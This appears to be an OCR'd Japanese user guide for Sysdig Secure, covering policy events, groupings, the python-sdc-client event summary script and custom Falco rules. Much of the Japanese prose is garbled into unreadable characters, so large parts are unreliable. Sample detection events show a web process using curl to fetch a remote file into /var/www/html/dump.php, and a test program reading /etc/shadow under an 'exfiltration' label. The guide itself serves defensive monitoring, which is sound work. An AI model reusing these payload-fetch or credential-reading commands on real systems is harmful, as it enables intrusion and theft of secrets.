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MiniShift 3.11
OpenShift 4.2,4.3
Kops
GKE (Google)
EKS (Amazon)
RKE (Rancher) with Kubernetes 1.13+
IKS (IBM)
#4 T 14 7 Kubernetes ¥ L < [&. Minikube 1.11/1.12
#4 T 14 7 Kubernetes % L < [& Minikube 1.13+
WebhookEz - IEEIHI/Nv I TV FE#ET 5
Webhook#&R 7 7 1 ILE1ERRT %
FAF 2 v Audit SinkEERLT %
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RYSI—ARY B

RYVO—A RV EED2—IILIE, BESNFEEZALTFAVHICA VTSRS OFYRTRELEET
RTDARVEDREHVAMERTLET, COED2—LEF, A—HF =41 VTSRS HF¥
LEROBEL. BEDIVR— FEFERY TIF, BBHEHEL. NI+ —T R ERELT
PR S—FZEAT AMEETIRELET,

RS —A RV INES21a—IVEFESF—FT B
JRFEa—

DA MEa2—IZ@E, TIL—T/FA LA VADTRTDA RNy FOBEMNLY R ORI TRE
ENEY,

Policy Events Entire infrastructure = Q. Y export

Browse By Hosts & Containers b2 . Terminal shell in container
a ip-10-0-22-20 > kBs_woocommerce_wooc...3ae26_0

Entire infrastructure Write below rpm database (2)
L ip-10-0-27-193 > k8s_ftest_jclient-79..3ae26_0
> ip-10-0-19-153 53

> ip10-0-2-212 o | | Abou 2hours
» ip-10-0-22-20 152

> 10027193 192 ip-10-0-27-193 > k8s_ftest jclient-79...3ae26_0

Write below rpm database (2]
° P @
» ip-10-0-27-216 77 About 6 hours
> ip-10-0-8-165 9 N
NETWORK POLICY: System procs network activity
o ip-10-0-27-193 > k8s_mongo-statsd_mon.. 3ae26_0

F Sensitive Info Exfiltration
ip-10-0-22-20 > kBs_phpping_ping-68b...3ae26_0

About 2 hours

Terminal shell in container
2 ip-10-0-22-20 > kBs_woocommerce_wooc...3ae26_0

Write below rpm database (2)

2] ip10027-193 > k8s_ftest_jclient-79...3ae26_0

About 4 hours

9 APPLICATION POLICY - Unexpected Outbound Connection from DB
ip-10-0-27-193 > k8s_ftest_mysql-64c7..3ae26_0

About 3 hours

5 APPLICATION POLICY - Unexpected Outbound Connection from DB
ip-10-0-27-193 > k8s_ftest.mysql-64¢7...3ae26_0

LIVE: 9/20 1:10:10 PM - 10/4 1:10:10 PM (14 D) = 1M 10M 30M  1H 6H 1D 3D 2W I4 1] »l

BHDARY FORKICRET HHEE. by MIBEARY FOENEENET,

&)sysdig >



About 22 minutes

= Terminal shell in container
® ip-10-0-22-20 » kBs_woocommerce_wooc...3ae26_0

Write below rpm database (2)
® ip-10-0-27-193 » kBs_ftest_jclient-79...3ae26_0

About 12 hours

Write below rpm database (2)
L ip-10-0-27-193 » kBs_ftest_jclient-79...3ae26_0

About 6 hours

=) NETWORK POLICY: System procs network activity
o ip-10-0-27-193 > kBs_mongo-statsd_mon...3ae26_0

About 4 hours

Sensitive Info Exfiltration
® ip-10-0-22-20 » kBs_phpping_ping-68b...3ae26_0

About 2 hours

COEa2—TE, ARVIAFLVBIZRTEN, ZHFOAARY MHERIZYR FEShFET. ROE
WARTEINET,

ARl BitEA

Severity F)A—ENf=zR) O—IZHEDIARV FDEKE,

o BEMNRF. EXEDEVNWAARYFZERLET,
o FLUDBDRIX, EXENFEEDAAVIFERLET,
o FLRAF, EXEDEVWAAYFERLET,

FE

Sysdig APIZERL TR O—A Ry FENET BI5E8,. EXELRNILOK
EBISEELTLEZWL, E=1F=25=3
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RuleType ARUKIE>TERSINFZIL—ILDEA T, EIL—ILEA TIE, BPERR
ALILDFBRFTRINET,
e Pr:7OtX

e Co:arvT7t

e Ne:ryw kJ—%

o FiI7AINIART LA
e Sy:Syscall

e Fa:Falco

Policy List 4RV MZ&koThYH—EN=AR) o—, FRIVI—EXFTIRIEN

TWET,

Entity ARVEDERETTDI VT A T4 ToT4T4I121% BED[rowse By]
AZa—0DFR, BLUKRYILEY U AZ2—TERLEIY FYARME
nEJ,

IE

BHOI VT4 TADNEEEZTHIGEE. XEOZT T4 T4hEELTL
Bl EETRTRENRTENET, XIEREZZHEIZIUT A T1OHER
LEI,

Action(s) AR EFADHIEELTEITEINET7IV3Y, K703 2EF7A422T
RINFEY :

o —MEILFESIE, aVTFA—BELEINEIEETLET, 21—
H—hidocker unpauseiZE #E£179 5 F T, AV TFFIF—BKELELLE
FETYI,

o FIEBIX, aVTHFMELL., BEZBRALEN =2 EEZTRLE
ER

o T—TJLURIIE, ARVFDFYTFMNEHRIN-ZEETRLE
ERP

taken
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AR PO
AR FEBIRT B L. [Policy Event Details]/ SR ILABIE ., 41 XY FOFFMAEE,
BEIPERLEARY S—DARTEINET,

Policy Event Details X

When
10/4/2018 3:15:10.989 pm (35 minutes ago)
Related Resources

Capture and commands will cover 10 minutes around the time of the event.

VIEW CAPTURES @  VIEW COMMANDS @D

Severity
@ High

Triggered Policy
Sensitive Info Exfiltration Filter: Add Remove

Triggered Rule Type

Scope
1. host.hostName: ip-10-0-22-20

2. containername: kBs_phpping_ping-68b48b7dd7-vzgm8_ping_08264f21-abcB-11e8-a9a8-
06a00933a226_0

Host

Hostname: ip-10-0-22-20

MAC: 06:5e:f0:80:f4:bd

Container

|0: fa5daas9d42f

Name: kBs_phpping_ping-68b48b7dd7-vzgm8_ping_08264f21-abc8-11e8-29a8-06a00933ae26_0

Image: bencer/workshop-forensics-1-
phpping@sha256:a1071555701abd3cce94b3e4838a2254cf0ff07BaBecd0ac29e7c3dBc300fay

Actions

QD 1 capture recorded

Summary

Writing to forbidden directory (user=www-data command=sh -c ping -c 3 localhost; curl
https://gist.githubusercantent.com/bencer/9e32fb1af89754b4adB8346013dcd1110/raw/cd79134f420b59%
= fvarfwww/html/dump.php file=/var/www/html/dump.php)
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ROEBOIRTEINFT

A Hl
When

Related

Resources

Severity

Triggered
Policy

Triggered
Rule Type

Scope

H;

BA
AR SORE LB EBZ,

UTEETA R BT 5BMNER
[ ] [View Captures]TRI}' b ’é 7 )y 7 _;— é & . [Captures]/)'l 77’3‘55 dce N
ARV MR LTCREBEEN XY TFYIZTIVERTEET,
[ ] [View Commands]ﬂ'i/)'l W % 7 1)y 9 j_ %) & N [Commands History]/}' 7
MEE, ARVEERJA—LIEZaARU FADT VAN RE SN
F9,

F)AH—an=RY O—IZEDIDLCARY COEKXKE,
o BEDN—IX, EXEMEVWIEEZRLET,
o FLUDBDN—IIFEEDEXREEXTRLET,
o FULWN—[I, EXENBWLILETRLET,
aEE

Sysdig APIZER L TR O—A XY FENET HI5E. EXELANILOK
BISEELTLZEL, B=1FH=25=3

ARV LENIHA=LE=RYY—, UDOZFD VI T HE, [policied]
2IMEE, BRLER) O—BNTT0MENET,
ZEE

ER)—DEIZHE T4 NLE—) ) EEBM/EIBRT SHE. TDORY o—
PRRRN—IEM/EIBRENET,

ARVPMZE>TERSNEIL—ILDEA T, EIL—ILE4 TIE, B#R
AEAAIDEANFTREINET -

Pr: 7A€ X

Co:avTs+

Ne: v kD —2

Fii 27A4ILV AT A

Sy: Syscall

Fa: Falco

AVISRMIOFYADARNY FDEH

aEE

JRARSINEEI VT4 T4 ERTEINDIBEFIX, [Browse By]A =2 —TE
RUEZTIL—TERIZEDWTERY F£9, FHMIZTDOUVTIE. Sysdig Secure
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Host

Container

Actions

Summary

DRX2AVMD AVITISAMSIIFYI €OV aVvEBRBLTLSES
LY,

AR IDFEELZRRA FDRR FEEMACT FL AR,
AR MHBFEELE-TIVTFOID, ZHl. BLXUA A —D,

AR CADXIGE LTEFTFEINETIay, 702 aViE7«(4ay
TRINET :

o —MBELEEIE. aVTIA—BELEINEERLET., — B
Eitd 5L, 12— —h Tdockerunpausel BEZITS ET—HE
IELE-FEFITHRYET,

o FILFEBIF. avTFMELEL., BEEZBRALANM 2 EETRL

9,
o T—TLUlE, ARVEDFYTF ARSI EZRLE
T

A4 R MZET HEMIER

FARAOS—E 11—
fROCE1—IE, BRENFE=IIL—TI/Z A LSA VIZEDNWT, SFIFHKRR M, aAVTF,
BEUY—EREARDORY FT—VKEFEFBRERENICRT. TRXTOAMRY FOBMEFRBELE

ERS

TE

TI—TE EERBEROBRDFEMRICOVTIE, TRYS—ARV DT ALE—] I VaVE
ZHRLTLEEL,
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Policy Events

Entire infrastructure
» ip10-0-19-153
> ip10:02212
» ip10-0-22:20
» ip10:0-27-193
> ip10:027-216

> ip-10-0-8-165

A—LA LT, /J—FOELRBIZHAIRE (TFR) FAaAVERBRTDHIE&ITLY, &/ —F%
FULEDULT, LEA—2RELTHIERELBANVNERDITHIENTEET,

Browse By Hosts & Containers

Color Coding (based on number of policy events) [l 3/hour or more

LIVE: 9/20 12:51:40 PM - 10/4 12:51:40 PM (14 D) ~

520542

p10:02

1M 10M 30M  1H

R)S—AR DT 4 L2 —0HE

anwmg




gL—evy
TIL—TIIESRILOBEBHGHEBTHY . 21— —(XREBEMNGEETAI VISR NSV FrvEa—
EEBBETEFES, 1—F—(& [Browse sy]A Za—ZFERALTERICEBREINEIIL—TE2OYER
2. WRAZLTNL—TZBRELTHL, A VIFTA LSV FrDFMERRBTEET, VIL—T1t
DEFMIZDULTIX., SysdigSecureD T IL—TIEDIER KX 1 A2V FESHBLTLESLY,

AL LFEHS—aY

BALIA YV RDFET—=2 a3 0Nn—&, —BREBIA LAV EIANDIA VI ) oY E1—H—
[CRHEEL. T—TLETAILFZ)TLT, TDI4 2V FORNTETEINZOATY FOAHAERRLE
To FALD4 2 FODEMZDODVTIE, F41 LDV FIDRF AV RESEBLTLESL,

ZE

Sysdig Securel3IRE. DA LRBFHERZERET SHETIRELTOEEA,

BEI1ILE—

BRREITANE—IE REN—ZFERALTEATEES . [Browse By]AZa—DTIL—TE—HEITA A
VEBELEFHIN, REEHBZEF-TARNY FOBLARBEINET ., UTORFENA—DHITIE,
Write below rpm databaseDHMNRETENET,

Policy Events Entire infrastructure = ust [iles QO write below X 5N export
Browse By Hosts & Containers
About 11 hour
Entire infrastructure Write below rpm database (2)
L ip-10-0-27-193 > kBs_ftest_jclient-79...33e26_0

> ip10-0-19-153 0

> ip-10-0-2-212

A 10:0:22:20 a0 PS Wri!e l?etow“r!.:m d'labasn (;) o

> ip-10-0-27-193 ip-10-0-27-198 > kBs_ftest jelient-79...32e26.0
> ip10:0-27-216 0 R

> ip-10-0-8-165

Write below rpm database (2)
® ip-10-0-27-193 » k8s_ftest_jclient-79...3ae26_0

TE

FRADE2—F. REBEDHZEEZITEEA,

&)sysdig 2



Sysdig Secure T/ IL—J{L =BT 5

TIL—TERIESRNILOBEBHGEBTHY . 11— —IIHREBNLERB TSIV ISA NS IFrYEaL—
EBEBTEFEFT, 11— —I(&. [Browse By]AZa—2@FHAL TCHANBR NI IL—TZHOUEZ
B, hRABLTIN—TE#EBELTHDE, 1 VISR SV FrDEMERIRTEET,

TE

TNN—TIZET B &Y —BILGERIZCOWLNTIE, YIL—Ti, Ra—E2Y,. $XUET A+
A RPYJODRDORFA A FESHBLTLESL,

RAYFITN—TF
HLWIIL—TFIZYYEZ BIZIE

1. Commands AuditEDaA—ILH D, [Browse Byl A Za—%FE. URA ML T IL—TEERL
9,

Browse By Hosts & Containers -
Choose how to browse your infrastructure

Hosts & Containers
host.hostName * container.name

Sysdig Monitor Explore
host.hostName * container.id

Hosts & Containers (MACs and IDs)
hostmac » containerid

Containerized Apps
containerimage * containername > container.id

AWS ECS

ecs.clusterName > ecs.serviceName * container.id

Kubernetes (RCs)
kubernetes.namespace.name * kubernetesreplicati..ername * ku..

¢ CONFIGURE GROUPINGS

\
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HLOWIL—TE2ERT S
LI L—TEERT BHI21E

1. [commands Audit]EP a—ILMS[Browse By]* =21 —%BZE. [configure Groupings]®%
1Jw 2 LTGroupings EditorZBEET,

2. [create New Groupingl 29 Z&HV Vv HI LET,

3 BILRLDYNL—T ROy TTI A a—5HEFET

Hierarchy

1. -

Q, Search

agent.tag.cluster
agent.tag.sysdig_secure.enabled
cloudProvider.account.id
cloudProvider.availabilityZone
cloudProvider.id
cloudProvider.securityGroups
container.id

containerimage
containerimage.digest
containerimage.id

containerimage.repo

mentaimar imas e toe

4, BHDREMSINILERRT S, RV O—LELFIREN—ZFERALTREL., BRLZF
ERS

5, 7713 i JL—TLRLFEMTAIZE, HFLLWEAD KOy TE I A1 —%FE.

FIESZE#EYERLFET,

TE

AVISAMIVF Y INIVERBTERARLGLA VDG LEET, FIESZRYRLE
ERS

6. [savelRBUEV YV LT, FJIL—TEREFLFET,

\ 14
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TE

Sysdig SecurelZIE W DHODHEST IL—THHY . FNSEF|RICEBRENATOETN, T

AL RYRBMZIFEEFNTULEREA,
BoEH)YY LTEMNTEEY,

Groupings Editor

Hosts & Containers (MACs and IDs)

Containerized Apps
AWS ECS
Kubernetes (RCs)

Kubernetes (Deployments)

(¥) CREATE NEW GROUPING

Suggested Groupings

AWS
One or more metrics not available

Docker Compose
One or more metrics not available

Marathon
One or more metrics not available

Mesos
One or more metrics not available

Mewr Nnrkar Swarm

hnlk, JIL—T2DEIZHDEM (F5R) KR

BREDTN—TDRMEEET S
IN—TDEMEEET BII -

sysdig
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1. [commands Audit]EZa—IbMS[rowse By]* Za1—%BE. [Configure Groupings]ZEH )W
JLTIN—TIT42—FRATFET,

2. DAL TIL—TEERLET,

3. [Eait ISR TTIL—TDEFEHwmEL. [SavelR2 &0 vy LET,

BRFOITN—TLE2ERT S
IN—TDEREMERT BIZIE -

1. [Commands Audit]:E:)J—)bﬁ\B[Browse By])‘ ::I.—jélaaﬁ%~ [Configure Groupings]€7
) L TGroupings EditorZREET,
2. BBETBTIN—TDHEIZHDouplicate (R—=D) FAAVEV Yy LTHELET,

Groupings Editor
Hosts & Containers (MACs and IDs)
Containerized Apps
AWS ECS
Kubernetes (RCs) O ® >

7 Duplicat
Kubernetes (Deployments) J.‘.‘i.'

(¥) CREATE NEW GROUPING

3. MLWIIL—TLEBRL. [SavelREZ Vv ZEV UV I LET,

TN—TZHIKRT S
FTL—FLEHIRS 5121

1. [ommands Audit]:E:)J—)bﬁ";)[Browse By])‘ ::I.—élia'ﬁdc?s [Configure Groupings]%b )

JLTIN—ThIT1+ 2 —2HEFET,

&._)sysdig e



2.

3.

\
\3

e

[Delete] (TZFE) ZAaAVZEVYYHO LT, FIL—TZBIBKRLET,

Groupings Editor
Hosts & Containers (MACs and IDs)
Containerized Apps
AWS ECS

Kubernetes (RCs) D

i
W

Kubernetes (Deploymenis)

(¥) CREATE NEW GROUPING

[Save] R4 &5 1w H LT, EEZHEIELET,

sysdig
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— G ARY) O—A R FDOFE
BOBEEICRET 54 AL FCRUICHAT ZBBAHYET, S BEL—ROGREDY R -
ERETHIEILLY, KUS—AAY RES2— LA DRFTEET,

Entire infrastructure = Q 5 export

s P o)

ip-10-0-27-193 kBs_ftest_jclient-79...3ae26_1

Write below rpm database (2)

ip-10-0-27-193 » kBs_ftest_jclient-79...3ae26_1
Sensitive Info Exfiltration

® ip-10-0-27-103 » k8s_phpping_ping-68b...33€26_1 QR
Terminal shell in container

e ip-10-0-27-193 * kBs_woocommerce_wooc...3ae26_1 a0

Write below rpm database (2)
& s S

k8s_ftest_jclient-79...3ae26_1

FYBHMGE 2 —I2DULVTIX, Sysdigldk, BEERY—A RV A M) —LIZT I ERT 570D
python-sdc-client(https://github.com/draios/python-sdc-client) & & USysdig Secure API 32t L £ 9,
Y2 FILT 045 S Lget_secure_policy_events.pyld. -summarize5|$Z#FEA L T, EEIBICHESR STz
R)O—AREDEBEHE 2 —FRHLET, --summarizeld. REHEDA N rE K YBEYIZEHNTE
5&512, HAXFIMASa U THIERZHIBRLED,

IE

Sysdigld FS T a—TFT 4 VT DE=OICUIIZEET Y LA TELEL=8. Sysdigld.
python-sdc-clientDfER L #% L TULVET . $F(Zget_secure_policy_events.pyld, > TLIADEH
BRHROR) O—A R FERET Z=0IZ, TATSLEZITFANIZEERAH, T14— KRy &
LTETZEMTEET, python-sde-client®D I DULNTIX, Sysdig Cloud Python Script Library
DEFa1 AV EESBLTIESL,

&)sysdig e


https://github.com/draios/python-sdc-client

HABZUTISRLET,

user@host:~$ python examples/get_secure_policy_events.py --help

usage: examples/get_secure_policy_events.py [-s|--summarize] [-]|--limit <limit>] <sysdig-token> [<duration sec>|<from sec> <to sec>]
-s|--summarize: group policy events by sanitized output and print by frequency

-||--limit: with -s, only print the first <limit> outputs

You can find your token at https://secure.sysdig.com/#/settings/user

user@host:~$ python examples/get_secure_policy_events.py --summarize 5b83272d-6e3f-44b3-b3b8-9dd8671f98b7 604800
56 Database-related program spawned process other than itself (user=root program=sh -c Is > /dev/null parent=mysqld)

24 Sensitive file opened for reading by non-trusted program (user=root name=ftest command=ftest -i 25200 -a exfiltration file=/etc/shadow
parent=docker-containe gparent=docker-containe ggparent=dockerd gggparent=systemd)

14 Rpm database opened for writing by a non-rpm program (command=ftest -i 43200 -a write_rpm_database
file=/var/lib/rpm/created-by-event-generator-sh)

1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34870)

1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34871)

1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34872)

1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34869)

1 A shell was spawned in a container with an attached terminal (user=root shell=bash parent=exe cmdline=bash terminal=34816)
1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34867)

1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34868)

1 A shell was spawned in a container with an attached terminal (user=root shell=sh parent=exe cmdline=sh terminal=34866)

RYI—D—BHEZERET S

ZLDHBE. RID—ARVMNEIZKDRETHEASINSG—BMGY I b 7OFERAICEEL TL
5128, BHROBENERILARNCERBZZEICHYET, RU—A R MDD EFRRICRET
HAEEELAHIERIX. TI4I FDFalco)l—ILEEFHTES K 512, SysdighR— MZHBBELED
B,

BB -®IZFalco/l—ILEEEET S
REBICAO—ALGR)O—ARD FDFE. TNLICHNT DRDDFIEE. roliciecsEDa—ILD
[Rules Editor]® T THRAR LFalco)l—ILEFEBMTHETT, CoDEMIE, BREMICHHLT S
f=BIZ, T4 EML—ILEI a3 DURL, 700, FEEL—ILOBEEILEEITLEEL
7,

ZLDIL=ILIZIZTT LI 4 v D Ruser I OB™HY ., L—ILDHEEERET H-DICHR R LIL—
WEHI L3 TH—IN—FA4 FTEFET, UTIZHZERLET,

user_known_write_etc_conditions

user_read_sensitive_file_conditions

e user_known_change_thread_namespace_binaries

user_shell_container_exclusions

&) sysdig v



user_trusted_containers

user_sensitive_mount_containers

user_ ¥V OMNFERTEHLMGS., Sysdigld, BEEDU R b, ¥ 0, £=EFIL—ILIZEEEZTLZDT
IG5, ERZEMT S EEHEHLET,

ER

BE

EEEZINEVRE, 708, BEVIL—IIE, TIAILEDIL—ILHBABEFHFEINTHLEHHUDEET
NIZEY HILWTIAHIL ML= Y RoEh, A—HF—RNT7H0 R TELLLESHAHEE
HRHY ET,

Falco)l—LIZRHBELGRHREDERIL. BEHME M) A—LER) O—ITKEKELET, L<D2HD
BlELTICSRLET,

Write below etc

Write Below etciR 1) —®DIGE. /etcD FICHED I 74 L EEZATEMTOT S LHNH S
BARHYET (ZOFITIE., FOY S5 Lecatsdé 7 7 A IL/etc/catfood.cfgZ R LET) . <
saFk, ROLSICEETEET,

- macro: catsd writing catfood cfg

condition: (proc.name=catsd and fd.name=/etc/catfood.cfqg)

& 512, ¥4 Ouser_known_write_etc_conditions® EZE LT, HILLMINZEBMNT ZHEN
HYES,

- macro: user known write etc conditions

condition: catsd writing catfood cfg

Launch Privileged Container

Launch Privileged Container7 N 1) :/_':‘is ##*ET%???%)LZ‘E?&Q&%)!F%E@:I ‘/7_'7'75‘7?
ETHEEAHYET., LTOH U TIL<S O, registry.customer.com/mydatastore CIAE
BA A—THEMFEAL., user_trusted_containerst A% A —/N\—54 FLET,

- macro: user trusted containers

condition: (container.image startswith registry.customer.com/mydatastore)

&)sysdig 20




® Run shelluntrusted

Run shelluntrustedﬂ'z 1) 9—@17%@\ IE%@ E E‘]’Giﬁﬁlﬂl:*‘/ I)b”&ﬂilﬁj—é jl:' 75-L\75‘7$
ETREELRHY ET, LLTOHFITIL. user known_shell spawn_binaries') X ZERE L T.
BEEID Y T JLRIR—2 N4 F 1) D) X MMphpZFEBMLET,

- list: user known shell spawn binaries
append: true

items: [php]
Falco)l—IILDEFRDEMMIZDULNTIE, Falcoll—ILD KX a1 A2 bESBLTLEELY,

BRRADOE=HDORY) —Ra—T%#R/ET S

Falco/l— LD EEMNREMITFRTELZMES, RUS—DRIA—TE2EBLT, FETLH/RELE
WREBOSDICERFZEHEDZENTEET, EAIE. ZLDY T ILEEMT HSdev Namespace®
Kubernetes® F TEITEN ddevIRENHY FT . CDIHFE. X I—TJ ZEntire Infrastructureh
kubernetes.namespace.name ! ="devV"|[ZEEFT S &IC&k Y, RUL—F%FBLTRa—Th bdev
Namespace RN TEET,

Scope

Filter kubernetes.names.. = I= * dev - 'i'
and b

Applies to

Mote: The policy cannot be applied to hosts since it is scoped to container tag.

RYS—ZEMHI<T S
FEOTI a2 ONWThEBEELLEWNMEES, RYL—%EMNTEHENTEET, R —%FF
T BHIZIE

1. [POliCieS]:E:)l_)l/b\FOs Fa?iiET%ﬁI’f') D—E%ﬁbiﬂ'o

§qumg 2



2. Enabledx’f‘ya—'éﬂ] Uﬁif~ 7|_3U :/_’&%371”: Li-d_o

Sensitive Info Exfiltration B0 X

wew () @ M [ () @)

0 2673

Name Sensitive Info Exfiltration

Description Web server accessing forbidden directory

Severity @ High C} Medium Low

Enabled [}

Priority 1 Evaluation priority across the entire list

Scope

Filter kubernetes.names.. = = * ping - 'i'
and -

Applies to

Note: The policy cannot be applied to hosts since it is scoped to container tag. 9

3. [epply Changes]RAUEHV VI LET,

4+ —9 R IJL—5i

LTDOA—0RIL—DHFITIE, R O—ERIZHEBIL—ILEFERBLTaAVTFTERITIA )R M
EERL. RRINDOERZR/MRICINZAET,

RIA MR MZIANBAYTF/AFA—PEB/ET D
AT FH/A4 A—Tld, SysdigSecureUl (A R rABEIZ kY H—ShTWBEE) i, FEFEHRR
FCEEHEMNTEET,

&._)sysdig 2



Sysdig Secure UIH 5
AVTFH/AA—=DFRDTBHICIE:

1. [policy Bvents]EVa—ibhib, ERORILVLE DA Z2a—%FHALT, R"RI7A4 U X KIS
BRI HBA Tz bEHELET.,. COHTIH, BRMOA TS 9 MMIFHAIAHAKubernetes
aviR—=2 > kb (k8s_kube-addon-manager) 12D TY,

k8s_kube-addon-manager_kube-addon-man i
Policy Events b - ger] : HHMl = usT [N Q 5N exporr
2 in sysdig-mgmt
EBrowse By Hosts & Containers Policy Event Details X
Entire infrastructure Write below root When
e sysdig-mamt * kBs_kube-ad 6 policy events triggered between 10:29:05.283 am and 10:29:05.818 am (7
> kes : minutes aga).
Write below root Zoom inte event group to see details
* kas @ sysdig-mgmt *> kBs_kube-ad..
g Related Resources
e erfe below _rclnt & Kiibaad Capture and commands will cover 10 minutes around the time of the event.
— o " > kBs_kube-ad
VIEW CAPTURES @ VIEW COMMANDS (@
~ sysdig-mgmt 62
Severity
@ High

Triggered Policy

Write below root Filter: Add = Remove

Triggered Rule Type

Scope
1. host hostName: sysdig-mgmt
2. container.name: k8s_kube-addon-manager_kube-addon-manager-

k8s_k... fdffec52_3 ) ) . I,
e i minikube_kube-system_8b52f08746ac78d32737h5(7fdffecs2_3

Host
Hostname: sysdig-mgmt
MAC: 00:0c:29:93:22:04
Container
ID: 90aacBBfa39a
Name: k8s_kube-addon-manager_kube-addon-manager-minikube_kube-
system_8b52f08746ac78d32737b5f7fdffecs2_3
Image:
- sha256:9c16409588eb19394b90703bdb5befb7c08fe75308a SEESE\)QSCESMIE(IG

ZE

FTRTODFERIK[po1icy Event Details]P 4 Y FIIZ&FTNRTWWASF=H., FYUILEHOI AZa1—%
FRTIDEFHOYFEFEA, =1L, RULEDUAZ1—%2FHATHE. RTA R R &
TAHRELWAT ) vE2HRTEET,

2. BE]E?’Z)’(’\D FEO U “17 L—C[Policy Event Details]'j'f b F@%Fﬁﬁ%s ’I”\‘/ |~O)E¥ffxﬂﬂ
EHREL. RIA RJRNZEBETZA IV FEEELET., ZOHITIEH. 1 A—=JIF

&._)sysdig 29



Kubernetes®ERA U R—R Y b THB T8, sha256 digesTY, LENA-T, avR—FRY
FRBT7 Y T L—RENBHRIE. RDYICaUTFREZERATILENHYFET,
Scope
1. host hostName: sysdig-magmt
2. container.name: kB=_kube-addon-manager_kube-addon-manager-
minikube_kube-systerm_Bb52f0B746ac78d32737b5f 7 fdffecs2_3
Host
Hostname: sysdig-ngmt
MAC 00:0c:29:93:22:04
Container
ID: 90aac8Bfad9a
Mame: kBs_kube-addon-manager_kube-addon-manager-minikube_kube-
systemn_Bb52f08746ac78d32737b5f7fdffecs2_3
Image:
sha256:9c16409588eb1 93940907 03bdb5bafb7c0Bfe75308a5db30ba5ca8 Eliclrﬁ

ZE

RIA MR MIESESFEFLART 2 Z2FEATEES, AVTFOHFE. 2VTF
B, A AP, FEEFAP IR MNEFERATEEY, aVTHENRLE—MBUNLET T
A—FTEMN, COFATLIVERT—T 4 T ENBAEERHYET, 1 A—DF (
sysdig/agent’h &) (FXYREHA TS 3T, V—RIFRIEShTWSE=H, 4>z
AMDEANREIRELRA T3 TIAN, AVR—RV FOEHFEEL TS Y b T+ — LA
ATz FEZELLKRTA FYRMIEBHZLEITAZEERIET HEHEY ) 2—2a >
NREIZEDIGELRHY FT,

8 ATV MI&EL-TMIA—ENERI O—IL—ILDBEZEZRELET,

4

Severity
@ High

Triggered Policy

Write below root Filter: Add Remaowe

Triggered Rule Type

24
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"X FCLIDN S
AVTFH/AA—DERDITBHICIE

1. RAMEDEZ—ZFIILT, XOAXVFZEEFTLET,

IE

UTNDa< 2 FHITIE, dockerpsODHEAZHIREL T, BET HREIMODAZTIREL TULE
T, ChiF, aoTFRFREREYV—RAM A—DDAHAEFRELTWVNS=HTT,

user@host:~$ docker ps --format "table {{.Names}}\t{{.Image}}"

ZE

)R RAKZFLMESIE. more|lessEr-IfgrepZERALTHEDA IS Y FERDITE
¥, UTOHEABITIEZ, BHDA *—Hk8s_kube-addon-manager C&H 5 1= . grepZ{E
ALT7FAUERELTVWEY, av U FRIZlE. ROREBLIEENET,

user@host:~$ docker ps —--format "table {{.Names}}\t{{.Image}}" | grep 'addon\|NAME' |
more

NAMES

IMAGE

k8s_ kube-addon-manager kube-addon-manager-minikube kube-system 8b52f08746ac78d32737b5f7f
dffec52 3 9c16409588eb

k8s_ POD_kube-addon-manager-minikube kube-system 8b52f08746ac78d32737b5f7fdffec52 3
k8s.gcr.io/pause-amd64:3.1

2. ERLEARY—IL—ILEEHELET.

TE

ZhlE. SysdigSecureUlZt L TOAEITTEET,

w74 FYR FIL—ILEBINT S
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Sysdig Secure DT 7 # JL b DFalco)L—JLIFHRAMY ERATY ., IL—ILEEETHICIE. hREF L
IL—ILELTEERAFET,

1. [Policies]:E:)‘:L—)lﬂﬁ‘ro~ [Rules Editor]7 7(:*%@] Lgfj—o
2. LW OZERT HN. BBFEOT/O0ZHmELT, YOO ZEELFT,

ZE

COBITIE, BEFEOTI/AEHRELES., TOEREHLLVTIOZERTHHEELEALT
IH., —BEORFABETT,

A. [pefault Rules]EZ a3 VTEHRENDTYIOZRDIFTT, [custon rRules]EY 3 I
aE—LET

B. RTA FJRKMIERT ST TP ) bEERTHEHET/OICEMLET,

Custom Rules

3 #  LAYS: LOELWOrK]
66

Default Rules (readonly)

. 1289 # In this file, it just takes one of the images in trusted_containe
67 - macro: user_trusted_containers 1280 # and repeats it.

68 conditien: (container.image startswith sysdig/agent or 1:;2 r n‘ac;o: .ustlar?t rusted_cor_\talner’s N dig/ )
69 container.name startswith k8s_kube-addon-manager) 1:91 PARoaLIanG. LeDmiaEr. IR0 STArEsWitn. Syseigsagent
7@ 1293

1294 # Add conditions to this macrn (nrohahlv in

a senarate file.
1708

&)sysdig 20




3. BEDTIAILMIL—ILERDIFT, user trusteda T+ <o OZFRALTVANE S EH

HLET,

Default Rules

Hai Ur o ra.rdme SLAr Ly

39 or fd.name startswi
or Td.name startswi
or fd.name startswi
or fd.name startswi
or fd.name startswi
or fd.name startswi
or fd.name startswi
or fd.name startswi
or fd.name startswi
or Td.name startswi

- rule: Write below root

desc: an attempt to write to ar

condition: =
root_dir and evt.dir = < and
and not fd.name in (known_roc
and not fd.directory in (know
and not exe_running_docker_sa
and not gugent_writing_guesta
and not dse_writing_tmp

rule: Write below root

ﬂﬂi‘-ch:

GET LATEST VERSION

lWirite below ruﬁtlste fre/ syntax for regexp searc=

desc: an attempt to write to any file directly below / or /froot

condition: =

root_dir and evt.dir = < and open_write
and not fd.name in (known_root_files)

and not fd.directory in (known_root_directories)

and not exe_running_docker_save

and not gugent_writing_guestagent_log

and not dse_writing_tmp

and not zap_writing_state

and not airflow_writing_state
and not rpm_writing root_rpmdb
and not maven_writing_groowvy
and not known_root_conditions

ZE

ZDFITIE,

'Write below root] [user trusted_containers¥2 B Z#{FERLEFH A,

4, JL—I)LZ[custom rRules]EZ P avIiZaEFE—LZET,

&._) sysdig

27



5. RS hf=<oO0Z/IL—ILIZEBMLET,

Custom Rules

ar
38
39
40
41
42
43
44
45
46

6. [Save]l:'sl EI)Y I LT, EBEHRELET,

Loys:

- rule:

condition:

LiLtesys Lemng

Write below root
desc: an attempt to write to any file directly below / or /froot

>

root_dir and evt.dir = < and open_write

and
and
and
and
and
and
and
and
and
and
and

output: “File below / or /root opened for writing (user=suser.name

not
not
not
not

fd.name in (known_root_files)
fd.directory in (known_root_directories)
exe_running_docker_save
gugent_writing_guestagent_log
dse_writing_tmp
zap_writing_state
